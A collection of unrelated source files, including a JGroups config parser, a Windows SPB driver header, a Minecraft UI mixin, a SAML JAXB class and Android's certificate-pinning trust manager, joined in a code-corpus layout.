goto exit; } int retLen = WideCharToMultiByte( CP_UTF8, 0, wstr, -1, str, strLength, nullptr, nullptr); if (retLen != strLength) { goto exit; } strRet = str; exit: if (str != nullptr) { delete[] str; } return strRet; } void Util::ShowErrorMsg(CoreDispatcher^ dispatcher, String^ msg) { Platform::Agile<MessageDialog^> msgDlg(ref new MessageDialog(msg, "Error")); if (dispatcher) { dispatcher->RunAsync(CoreDispatcherPriority::Normal, ref new DispatchedHandler([msgDlg] { msgDlg->ShowAsync(); })); } else { msgDlg->ShowAsync(); } }
1,305
704
<filename>src/org/jgroups/fork/ForkConfig.java package org.jgroups.fork; import org.jgroups.conf.ProtocolConfiguration; import org.jgroups.conf.XmlConfigurator; import org.jgroups.conf.XmlNode; import java.io.InputStream; import java.util.HashMap; import java.util.List; import java.util.Map; /** * Parses the fork-stacks.xsd schema. See conf/fork-stacks.xml for an example * @author <NAME> * @since 3.4 */ public final class ForkConfig { protected static final String FORK_STACKS = "fork-stacks"; protected static final String FORK_STACK = "fork-stack"; protected static final String ID = "id"; private ForkConfig() { throw new InstantiationError( "Must not instantiate this class" ); } /** * Parses the input and returns a map of fork-stack IDs and lists of ProtocolConfigurations */ public static Map<String,List<ProtocolConfiguration>> parse(InputStream input) throws Exception { XmlNode root=XmlConfigurator.parseXmlDocument(input); return parse(root); } public static Map<String,List<ProtocolConfiguration>> parse(XmlNode root) throws Exception { match(FORK_STACKS, root.getName()); List<XmlNode> children=root.getChildren(); if(children == null || children.isEmpty()) return null; Map<String,List<ProtocolConfiguration>> map=new HashMap<>(); for(XmlNode node: children) { match(FORK_STACK, node.getName()); parseForkStack(map, node); } return map; } protected static void parseForkStack(final Map<String,List<ProtocolConfiguration>> map, XmlNode root) throws Exception { List<XmlNode> children=root.getChildren(); if(children == null || children.isEmpty()) return; Map<String,String> attributes=root.getAttributes(); String fork_stack_id=attributes.get(ID); if(map.containsKey(fork_stack_id)) throw new IllegalStateException("duplicate fork-stack ID: \"" + fork_stack_id + "\""); for(XmlNode node : children) { List<ProtocolConfiguration> protocols=XmlConfigurator.parseProtocols(node); map.put(fork_stack_id, protocols); } } protected static void match(String expected_name, String name) throws Exception { if(!expected_name.equals(name)) throw new Exception("\"" + name + "\" didn't match \"" + expected_name + "\""); } }
942
1,587
package org.library; import java.util.Iterator; import java.util.Objects; import java.util.Optional; import java.util.ServiceLoader; import org.library.spi.Book; import org.library.spi.Library; public class LibraryService { private static LibraryService libraryService; private final ServiceLoader<Library> loader; private LibraryService() { loader = ServiceLoader.load(Library.class); } public static synchronized LibraryService getInstance() { if (libraryService == null) { libraryService = new LibraryService(); } return libraryService; } public void refresh() { loader.reload(); } public Optional<Book> getBook(String name) { Book book = null; Iterator<Library> libraries = loader.iterator(); while (book == null && libraries.hasNext()) { Library library = libraries.next(); book = library.getBook(name); } return Optional.ofNullable(book); } public Optional<Book> getBook(String name, String category) { return loader.stream() .map(ServiceLoader.Provider::get) .filter(library -> library.getCategory().equals(category)) .map(library -> library.getBook(name)) .filter(Objects::nonNull) .findFirst(); } }
537
429
<gh_stars>100-1000 package io.airlift.http.client.jetty; import com.google.common.collect.ImmutableListMultimap; import com.google.common.collect.ListMultimap; import com.google.common.io.CountingInputStream; import io.airlift.http.client.HeaderName; import org.eclipse.jetty.client.api.Response; import org.eclipse.jetty.http.HttpFields; import java.io.InputStream; import static com.google.common.base.MoreObjects.toStringHelper; class JettyResponse implements io.airlift.http.client.Response { private final Response response; private final CountingInputStream inputStream; private final ListMultimap<HeaderName, String> headers; public JettyResponse(Response response, InputStream inputStream) { this.response = response; this.inputStream = new CountingInputStream(inputStream); this.headers = toHeadersMap(response.getHeaders()); } @Override public int getStatusCode() { return response.getStatus(); } @Override public ListMultimap<HeaderName, String> getHeaders() { return headers; } @Override public long getBytesRead() { return inputStream.getCount(); } @Override public InputStream getInputStream() { return inputStream; } @Override public String toString() { return toStringHelper(this) .add("statusCode", getStatusCode()) .add("headers", getHeaders()) .toString(); } private static ListMultimap<HeaderName, String> toHeadersMap(HttpFields headers) { ImmutableListMultimap.Builder<HeaderName, String> builder = ImmutableListMultimap.builder(); for (String name : headers.getFieldNamesCollection()) { for (String value : headers.getValuesList(name)) { builder.put(HeaderName.of(name), value); } } return builder.build(); } }
759
3,084
/*++ Copyright (c) Microsoft Corporation. All rights reserved. Module Name: device.h Abstract: This module contains the function definitions for the WDF device. Environment: kernel-mode only Revision History: --*/ #ifndef _DEVICE_H_ #define _DEVICE_H_ // // WDF event callbacks. // EVT_WDF_DEVICE_PREPARE_HARDWARE OnPrepareHardware; EVT_WDF_DEVICE_RELEASE_HARDWARE OnReleaseHardware; EVT_WDF_DEVICE_D0_ENTRY OnD0Entry; EVT_WDF_DEVICE_D0_EXIT OnD0Exit; EVT_WDF_DEVICE_SELF_MANAGED_IO_INIT OnSelfManagedIoInit; EVT_WDF_DEVICE_SELF_MANAGED_IO_CLEANUP OnSelfManagedIoCleanup; EVT_WDF_INTERRUPT_ISR OnInterruptIsr; EVT_WDF_INTERRUPT_DPC OnInterruptDpc; EVT_WDF_REQUEST_CANCEL OnCancel; // // Power framework event callbacks. // __drv_functionClass(POWER_SETTING_CALLBACK) _IRQL_requires_same_ NTSTATUS OnMonitorPowerSettingCallback( _In_ LPCGUID SettingGuid, _In_reads_bytes_(ValueLength) PVOID Value, _In_ ULONG ValueLength, _Inout_opt_ PVOID Context ); // // SPBCx event callbacks. // EVT_SPB_TARGET_CONNECT OnTargetConnect; EVT_SPB_CONTROLLER_LOCK OnControllerLock; EVT_SPB_CONTROLLER_UNLOCK OnControllerUnlock; EVT_SPB_CONTROLLER_READ OnRead; EVT_SPB_CONTROLLER_WRITE OnWrite; EVT_SPB_CONTROLLER_SEQUENCE OnSequence; EVT_WDF_IO_IN_CALLER_CONTEXT OnOtherInCallerContext; EVT_SPB_CONTROLLER_OTHER OnOther; // // PBC function prototypes. // NTSTATUS PbcTargetGetSettings( _In_ PPBC_DEVICE pDevice, _In_ PVOID ConnectionParameters, _Out_ PPBC_TARGET_SETTINGS pSettings); NTSTATUS PbcRequestValidate( _In_ PPBC_REQUEST pRequest); VOID PbcRequestConfigureForNonSequence( _In_ WDFDEVICE SpbController, _In_ SPBTARGET SpbTarget, _In_ SPBREQUEST SpbRequest, _In_ size_t Length); NTSTATUS PbcRequestConfigureForIndex( _Inout_ PPBC_REQUEST pRequest, _In_ ULONG Index); VOID PbcRequestDoTransfer( _In_ PPBC_DEVICE pDevice, _In_ PPBC_REQUEST pRequest); VOID PbcRequestComplete( _In_ PPBC_REQUEST pRequest); EVT_WDF_TIMER OnDelayTimerExpired; ULONG FORCEINLINE PbcDeviceGetInterruptMask( _In_ PPBC_DEVICE pDevice ) /*++ Routine Description: This routine returns the device context's current interrupt mask. Arguments: pDevice - a pointer to the PBC device context Return Value: Interrupt mask --*/ { return (ULONG)InterlockedOr((PLONG)&pDevice->InterruptMask, 0); } VOID FORCEINLINE PbcDeviceSetInterruptMask( _In_ PPBC_DEVICE pDevice, _In_ ULONG InterruptMask ) /*++ Routine Description: This routine sets the device context's current interrupt mask. Arguments: pDevice - a pointer to the PBC device context InterruptMask - new interrupt mask value Return Value: None. --*/ { InterlockedExchange( (PLONG)&pDevice->InterruptMask, (LONG)InterruptMask); } VOID FORCEINLINE PbcDeviceAndInterruptMask( _In_ PPBC_DEVICE pDevice, _In_ ULONG InterruptMask ) /*++ Routine Description: This routine performs a logical and between the device context's current interrupt mask and the input parameter. Arguments: pDevice - a pointer to the PBC device context InterruptMask - new interrupt mask value to and Return Value: None. --*/ { InterlockedAnd( (PLONG)&pDevice->InterruptMask, (LONG)InterruptMask); } size_t FORCEINLINE PbcRequestGetInfoRemaining( _In_ PPBC_REQUEST pRequest ) /*++ Routine Description: This is a helper routine used to retrieve the number of bytes remaining in the current transfer. Arguments: pRequest - a pointer to the PBC request context Return Value: Bytes remaining in request --*/ { return (pRequest->Length - pRequest->Information); } NTSTATUS FORCEINLINE PbcRequestGetByte( _In_ PPBC_REQUEST pRequest, _In_ size_t Index, _Out_ UCHAR* pByte ) /*++ Routine Description: This is a helper routine used to retrieve the specified byte of the current transfer descriptor buffer. Arguments: pRequest - a pointer to the PBC request context Index - index of desired byte in current transfer descriptor buffer pByte - pointer to the location for the specified byte Return Value: STATUS_INFO_LENGTH_MISMATCH if invalid index, otherwise STATUS_SUCCESS --*/ { PMDL mdl = pRequest->pMdlChain; size_t mdlByteCount; size_t currentOffset = Index; PUCHAR pBuffer; NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH; // // Check for out-of-bounds index // if (Index < pRequest->Length) { while (mdl != NULL) { mdlByteCount = MmGetMdlByteCount(mdl); if (currentOffset < mdlByteCount) { pBuffer = (PUCHAR) MmGetSystemAddressForMdlSafe( mdl, NormalPagePriority | MdlMappingNoExecute); if (pBuffer != NULL) { // // Byte found, mark successful // *pByte = pBuffer[currentOffset]; status = STATUS_SUCCESS; } break; } currentOffset -= mdlByteCount; mdl = mdl->Next; } // // If after walking the MDL the byte hasn't been found, // status will still be STATUS_INFO_LENGTH_MISMATCH // } return status; } NTSTATUS FORCEINLINE PbcRequestSetByte( _In_ PPBC_REQUEST pRequest, _In_ size_t Index, _In_ UCHAR Byte ) /*++ Routine Description: This is a helper routine used to set the specified byte of the current transfer descriptor buffer. Arguments: pRequest - a pointer to the PBC request context Index - index of desired byte in current transfer descriptor buffer Byte - the byte Return Value: STATUS_INFO_LENGTH_MISMATCH if invalid index, otherwise STATUS_SUCCESS --*/ { PMDL mdl = pRequest->pMdlChain; size_t mdlByteCount; size_t currentOffset = Index; PUCHAR pBuffer; NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH; // // Check for out-of-bounds index // if (Index < pRequest->Length) { while (mdl != NULL) { mdlByteCount = MmGetMdlByteCount(mdl); if (currentOffset < mdlByteCount) { pBuffer = (PUCHAR) MmGetSystemAddressForMdlSafe( mdl, NormalPagePriority | MdlMappingNoExecute); if (pBuffer != NULL) { // // Byte found, mark successful // pBuffer[currentOffset] = Byte; status = STATUS_SUCCESS; } break; } currentOffset -= mdlByteCount; mdl = mdl->Next; } // // If after walking the MDL the byte hasn't been found, // status will still be STATUS_INFO_LENGTH_MISMATCH // } return status; } #endif
4,193
321
<filename>apis/api-core/api-core-common/src/main/java/org/hoteia/qalingo/core/web/bean/clickstream/ClickstreamRequest.java /** * Most of the code in the Qalingo project is copyrighted Hoteia and licensed * under the Apache License Version 2.0 (release version 0.8.0) * http://www.apache.org/licenses/LICENSE-2.0 * * Copyright (c) Hoteia, 2012-2014 * http://www.hoteia.com - http://twitter.com/hoteia - <EMAIL> * */ package org.hoteia.qalingo.core.web.bean.clickstream; import java.io.Serializable; import java.util.Date; import javax.servlet.http.HttpServletRequest; import org.apache.commons.lang.StringUtils; public class ClickstreamRequest implements Serializable { /** * Generated UID */ private static final long serialVersionUID = 6172522785730511477L; private String protocol; private String serverName; private int serverPort; private String requestURI; private String queryString; private String remoteUser; private Date timestamp; public ClickstreamRequest(HttpServletRequest request, Date timestamp) { protocol = request.getProtocol(); serverName = request.getServerName(); serverPort = request.getServerPort(); requestURI = request.getRequestURI(); queryString = request.getQueryString(); remoteUser = request.getRemoteUser(); this.timestamp = timestamp; } public String getProtocol() { return protocol; } public void setProtocol(String protocol) { this.protocol = protocol; } public String getServerName() { return serverName; } public void setServerName(String serverName) { this.serverName = serverName; } public int getServerPort() { return serverPort; } public void setServerPort(int serverPort) { this.serverPort = serverPort; } public String getRequestURI() { return requestURI; } public void setRequestURI(String requestURI) { this.requestURI = requestURI; } public String getQueryString() { return queryString; } public void setQueryString(String queryString) { this.queryString = queryString; } public String getRemoteUser() { return remoteUser; } public void setRemoteUser(String remoteUser) { this.remoteUser = remoteUser; } public Date getTimestamp() { return timestamp; } public void setTimestamp(Date timestamp) { this.timestamp = timestamp; } public String getUriWithQueryString() { String uriWithQueryString = requestURI; if(StringUtils.isNotEmpty(queryString)){ uriWithQueryString = uriWithQueryString + "?" + queryString; } return uriWithQueryString ; } }
1,203
852
import FWCore.ParameterSet.Config as cms process = cms.Process("TestConversionValidator") process.load('Configuration/StandardSequences/GeometryPilot2_cff') process.load("Configuration.StandardSequences.MagneticField_38T_cff") process.load("Geometry.TrackerGeometryBuilder.trackerGeometry_cfi") process.load("RecoTracker.GeometryESProducer.TrackerRecoGeometryESProducer_cfi") process.load("Geometry.TrackerNumberingBuilder.trackerNumberingGeometry_cfi") process.load("RecoTracker.MeasurementDet.MeasurementTrackerESProducer_cfi") process.load("SimGeneral.MixingModule.mixNoPU_cfi") process.load("TrackingTools.TransientTrack.TransientTrackBuilder_cfi") process.load("DQMServices.Components.MEtoEDMConverter_cfi") process.load("Validation.RecoEgamma.conversionPostprocessing_cfi") process.load("Validation.RecoEgamma.tkConvValidator_cfi") process.load("Configuration.StandardSequences.FrontierConditions_GlobalTag_cff") process.GlobalTag.globaltag = 'START39_V3::All' process.DQMStore = cms.Service("DQMStore"); process.load("DQMServices.Components.DQMStoreStats_cfi") from DQMServices.Components.DQMStoreStats_cfi import * dqmStoreStats.runOnEndJob = cms.untracked.bool(True) process.maxEvents = cms.untracked.PSet( #input = cms.untracked.int32(10) ) from Validation.RecoEgamma.tkConvValidator_cfi import * from Validation.RecoEgamma.conversionPostprocessing_cfi import * tkConversionValidation.OutputFileName = 'ConversionValidationRelVal3_10_0_pre2_QCD_Pt_80_120.root' #tkConversionValidation.OutputFileName = 'ConversionValidationRelVal3_10_0_pre2_QCD_Pt_80_120_TESTExplicitMergedHP.root' tkConversionValidation.mergedTracks = True conversionPostprocessing.standalone = cms.bool(True) conversionPostprocessing.InputFileName = tkConversionValidation.OutputFileName process.source = cms.Source("PoolSource", noEventSort = cms.untracked.bool(True), duplicateCheckMode = cms.untracked.string('noDuplicateCheck'), fileNames = cms.untracked.vstring( '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-RECO/START39_V3-v1/0058/D6F1C1D6-ADE2-DF11-A2DE-003048678B88.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-RECO/START39_V3-v1/0058/C6E50F8D-A7E2-DF11-9344-001A92971B92.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-RECO/START39_V3-v1/0058/AEC9EE30-A9E2-DF11-BF6C-001A92971BD6.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-RECO/START39_V3-v1/0058/725078B3-A7E2-DF11-AB25-003048D15D22.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-RECO/START39_V3-v1/0058/6C23BF25-A9E2-DF11-A225-003048D3C010.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-RECO/START39_V3-v1/0058/4AF2DC88-DFE2-DF11-B3CC-001A928116BE.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-RECO/START39_V3-v1/0058/2AA06C70-A8E2-DF11-98D6-0026189438EF.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-RECO/START39_V3-v1/0058/1A50B06F-A7E2-DF11-B042-002618943829.root' ), secondaryFileNames = cms.untracked.vstring( '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/START39_V3-v1/0060/F0A8091C-F0E2-DF11-AE67-003048678F8C.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/START39_V3-v1/0058/F8363F8A-A7E2-DF11-BE38-002618943986.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/START39_V3-v1/0058/E078D8AC-A8E2-DF11-86B7-0026189438C2.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/START39_V3-v1/0058/DCD6BE8A-A8E2-DF11-A838-002354EF3BD0.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/START39_V3-v1/0058/DABCEFA7-ADE2-DF11-936C-0030486791BA.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/START39_V3-v1/0058/C257F101-A7E2-DF11-9FD9-002618FDA277.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/START39_V3-v1/0058/BEF1D3E7-A7E2-DF11-85A0-0026189438B1.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/START39_V3-v1/0058/A69B1E6B-A7E2-DF11-B123-0026189438C0.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/START39_V3-v1/0058/94AEF574-A7E2-DF11-98CC-0026189438FC.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/START39_V3-v1/0058/9494AF70-A7E2-DF11-9CDD-00261894388F.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/START39_V3-v1/0058/625BCC05-A7E2-DF11-A7C6-002618943978.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/START39_V3-v1/0058/58543E81-A7E2-DF11-ACF9-002618943868.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/START39_V3-v1/0058/3AB40148-A9E2-DF11-A22E-0026189438CF.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/START39_V3-v1/0058/2C5BE6C7-A6E2-DF11-8A9B-0026189438D4.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/START39_V3-v1/0058/2C57E796-A8E2-DF11-8A30-002618943962.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/START39_V3-v1/0058/08B118D1-A7E2-DF11-A1C4-003048678A80.root', '/store/relval/CMSSW_3_10_0_pre2/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/START39_V3-v1/0058/021D0D72-A7E2-DF11-8E94-00261894380A.root' ) ) process.FEVT = cms.OutputModule("PoolOutputModule", outputCommands = cms.untracked.vstring("keep *_MEtoEDMConverter_*_*"), fileName = cms.untracked.string('pippo.root') ) process.p1 = cms.Path(process.tpSelecForEfficiency*process.tpSelecForFakeRate*process.tkConversionValidation*conversionPostprocessing*process.dqmStoreStats) process.schedule = cms.Schedule(process.p1)
3,184
952
package com.rudecrab.rbac.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import javax.servlet.http.HttpServletRequest; /** * 页面视图控制器(渲染视图,而不是返回json数据) * * @author RudeCrab */ @Controller public class ViewController { @GetMapping("/") public String index(HttpServletRequest request) { return "index"; } }
187
357
<filename>vmidentity/commons/samltoken/src/main/java/oasis/names/tc/saml/_2_0/assertion/AdviceType.java<gh_stars>100-1000 // // This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, vJAXB 2.1.10 in JDK 6 // See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a> // Any modifications to this file will be lost upon recompilation of the source schema. // Generated on: 2010.08.10 at 06:22:07 PM EEST // package oasis.names.tc.saml._2_0.assertion; import java.util.ArrayList; import java.util.List; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlElement; import javax.xml.bind.annotation.XmlType; import com.rsa.names._2009._12.std_ext.saml2.RSAAdviceType; /** * * Section 3.6: The Advice element is restricted to only contain * an RSAAdvice element. The AssertionIDRef, AssersionURIRef, * Assertion and EncryptedAssertion elements are not supported. * * * <p>Java class for AdviceType complex type. * * <p>The following schema fragment specifies the expected content contained within this class. * * <pre> * &lt;complexType name="AdviceType"> * &lt;complexContent> * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"> * &lt;sequence maxOccurs="unbounded"> * &lt;element ref="{http://www.rsa.com/names/2009/12/std-ext/SAML2.0}RSAAdvice"/> * &lt;/sequence> * &lt;/restriction> * &lt;/complexContent> * &lt;/complexType> * </pre> * * */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "AdviceType", propOrder = { "rsaAdvice" }) public class AdviceType { @XmlElement(name = "RSAAdvice", namespace = "http://www.rsa.com/names/2009/12/std-ext/SAML2.0", required = true) protected List<RSAAdviceType> rsaAdvice; /** * Gets the value of the rsaAdvice property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the rsaAdvice property. * * <p> * For example, to add a new item, do as follows: * <pre> * getRSAAdvice().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link RSAAdviceType } * * */ public List<RSAAdviceType> getRSAAdvice() { if (rsaAdvice == null) { rsaAdvice = new ArrayList<RSAAdviceType>(); } return this.rsaAdvice; } }
1,112
30,023
"""The lg_soundbar component."""
11
4,002
/* @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ # Project: Cornos # File: ScanningEntryMixin # Created by constantin at 14:49, Mär 12 2021 PLEASE READ THE COPYRIGHT NOTICE IN THE PROJECT ROOT, IF EXISTENT @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ */ package me.zeroX150.cornos.mixin.gui; import me.zeroX150.cornos.Cornos; import net.minecraft.client.MinecraftClient; import net.minecraft.client.gui.DrawableHelper; import net.minecraft.client.gui.screen.multiplayer.MultiplayerServerListWidget; import net.minecraft.client.util.math.MatrixStack; import net.minecraft.text.TranslatableText; import net.minecraft.util.Util; import org.spongepowered.asm.mixin.Final; import org.spongepowered.asm.mixin.Mixin; import org.spongepowered.asm.mixin.Shadow; import org.spongepowered.asm.mixin.injection.At; import org.spongepowered.asm.mixin.injection.Inject; import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; @Mixin(MultiplayerServerListWidget.ScanningEntry.class) public class ScanningEntryMixin { @Shadow @Final private MinecraftClient client; @Inject(method = "render", at = @At("HEAD"), cancellable = true) public void render(MatrixStack matrices, int index, int y, int x, int entryWidth, int entryHeight, int mouseX, int mouseY, boolean hovered, float tickDelta, CallbackInfo ci) { if (Cornos.config.mconf.getByName("mpscreen").value.equalsIgnoreCase("vanilla")) return; ci.cancel(); int var10000 = y + entryHeight / 2; int i = var10000 - 9 / 2; DrawableHelper.drawCenteredText(matrices, this.client.textRenderer, new TranslatableText("lanServer.scanning"), 320 / 2, i, 0xFFFFFF); // this.client.textRenderer.draw(matrices, new // TranslatableText("lanServer.scanning"), // (float)(this.client.currentScreen.width / 2 - // this.client.textRenderer.getWidth(new TranslatableText("lanServer.scanning")) // / 2), (float)i, 16777215); String loading; switch ((int) (Util.getMeasuringTimeMs() / 300L % 4L)) { case 0: default: loading = "O o o"; break; case 1: case 3: loading = "o O o"; break; case 2: loading = "o o O"; } DrawableHelper.drawCenteredString(matrices, this.client.textRenderer, loading, 320 / 2, i + 9, 8421504); } }
1,005
5,169
<reponame>Gantios/Specs { "name": "RxSugar", "version": "0.1.1", "summary": "Simple RxSwift extensions for interacting with Apple APIs", "description": "RxSugar adds simple UI extensions for interacting with Apple APIs, and includes custom operators.\n\nFor more information, see [the README](https://github.com/RxSugar/RxSugar).", "homepage": "https://github.com/RxSugar/RxSugar", "license": "MIT", "authors": { "<NAME>": "<EMAIL>", "<NAME>": "<EMAIL>", "Asynchrony": null }, "source": { "git": "https://github.com/RxSugar/RxSugar.git", "tag": "v0.1.1" }, "requires_arc": true, "platforms": { "ios": "8.0", "tvos": "9.0" }, "source_files": [ "RxSugar/RxSugar.h", "RxSugar/**/*.{swift}" ], "exclude_files": "RxSugarTests", "tvos": { "exclude_files": "RxSugar/UISwitch+Sugar.swift" }, "dependencies": { "RxSwift": [ "~> 3.0" ] }, "pushed_with_swift_version": "3.0" }
435
2,151
<reponame>rio-31/android_frameworks_base-1 /* * Copyright (C) 2015 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package android.security.net.config; import com.android.org.conscrypt.TrustManagerImpl; import android.util.ArrayMap; import java.io.IOException; import java.net.Socket; import java.security.cert.CertificateException; import java.security.cert.X509Certificate; import java.security.GeneralSecurityException; import java.security.KeyStore; import java.security.MessageDigest; import java.util.List; import java.util.Map; import java.util.Set; import javax.net.ssl.SSLEngine; import javax.net.ssl.X509ExtendedTrustManager; /** * {@link X509ExtendedTrustManager} that implements the trust anchor and pinning for a * given {@link NetworkSecurityConfig}. * @hide */ public class NetworkSecurityTrustManager extends X509ExtendedTrustManager { // TODO: Replace this with a general X509TrustManager and use duck-typing. private final TrustManagerImpl mDelegate; private final NetworkSecurityConfig mNetworkSecurityConfig; private final Object mIssuersLock = new Object(); private X509Certificate[] mIssuers; public NetworkSecurityTrustManager(NetworkSecurityConfig config) { if (config == null) { throw new NullPointerException("config must not be null"); } mNetworkSecurityConfig = config; try { TrustedCertificateStoreAdapter certStore = new TrustedCertificateStoreAdapter(config); // Provide an empty KeyStore since TrustManagerImpl doesn't support null KeyStores. // TrustManagerImpl will use certStore to lookup certificates. KeyStore store = KeyStore.getInstance(KeyStore.getDefaultType()); store.load(null); mDelegate = new TrustManagerImpl(store, null, certStore); } catch (GeneralSecurityException | IOException e) { throw new RuntimeException(e); } } @Override public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { mDelegate.checkClientTrusted(chain, authType); } @Override public void checkClientTrusted(X509Certificate[] certs, String authType, Socket socket) throws CertificateException { mDelegate.checkClientTrusted(certs, authType, socket); } @Override public void checkClientTrusted(X509Certificate[] certs, String authType, SSLEngine engine) throws CertificateException { mDelegate.checkClientTrusted(certs, authType, engine); } @Override public void checkServerTrusted(X509Certificate[] certs, String authType) throws CertificateException { checkServerTrusted(certs, authType, (String) null); } @Override public void checkServerTrusted(X509Certificate[] certs, String authType, Socket socket) throws CertificateException { List<X509Certificate> trustedChain = mDelegate.getTrustedChainForServer(certs, authType, socket); checkPins(trustedChain); } @Override public void checkServerTrusted(X509Certificate[] certs, String authType, SSLEngine engine) throws CertificateException { List<X509Certificate> trustedChain = mDelegate.getTrustedChainForServer(certs, authType, engine); checkPins(trustedChain); } /** * Hostname aware version of {@link #checkServerTrusted(X509Certificate[], String)}. * This interface is used by conscrypt and android.net.http.X509TrustManagerExtensions do not * modify without modifying those callers. */ public List<X509Certificate> checkServerTrusted(X509Certificate[] certs, String authType, String host) throws CertificateException { List<X509Certificate> trustedChain = mDelegate.checkServerTrusted(certs, authType, host); checkPins(trustedChain); return trustedChain; } private void checkPins(List<X509Certificate> chain) throws CertificateException { PinSet pinSet = mNetworkSecurityConfig.getPins(); if (pinSet.pins.isEmpty() || System.currentTimeMillis() > pinSet.expirationTime || !isPinningEnforced(chain)) { return; } Set<String> pinAlgorithms = pinSet.getPinAlgorithms(); Map<String, MessageDigest> digestMap = new ArrayMap<String, MessageDigest>( pinAlgorithms.size()); for (int i = chain.size() - 1; i >= 0 ; i--) { X509Certificate cert = chain.get(i); byte[] encodedSPKI = cert.getPublicKey().getEncoded(); for (String algorithm : pinAlgorithms) { MessageDigest md = digestMap.get(algorithm); if (md == null) { try { md = MessageDigest.getInstance(algorithm); } catch (GeneralSecurityException e) { throw new RuntimeException(e); } digestMap.put(algorithm, md); } if (pinSet.pins.contains(new Pin(algorithm, md.digest(encodedSPKI)))) { return; } } } // TODO: Throw a subclass of CertificateException which indicates a pinning failure. throw new CertificateException("Pin verification failed"); } private boolean isPinningEnforced(List<X509Certificate> chain) throws CertificateException { if (chain.isEmpty()) { return false; } X509Certificate anchorCert = chain.get(chain.size() - 1); TrustAnchor chainAnchor = mNetworkSecurityConfig.findTrustAnchorBySubjectAndPublicKey(anchorCert); if (chainAnchor == null) { throw new CertificateException("Trusted chain does not end in a TrustAnchor"); } return !chainAnchor.overridesPins; } @Override public X509Certificate[] getAcceptedIssuers() { // TrustManagerImpl only looks at the provided KeyStore and not the TrustedCertificateStore // for getAcceptedIssuers, so implement it here instead of delegating. synchronized (mIssuersLock) { if (mIssuers == null) { Set<TrustAnchor> anchors = mNetworkSecurityConfig.getTrustAnchors(); X509Certificate[] issuers = new X509Certificate[anchors.size()]; int i = 0; for (TrustAnchor anchor : anchors) { issuers[i++] = anchor.certificate; } mIssuers = issuers; } return mIssuers.clone(); } } public void handleTrustStorageUpdate() { synchronized (mIssuersLock) { mIssuers = null; mDelegate.handleTrustStorageUpdate(); } } }
2,897
394
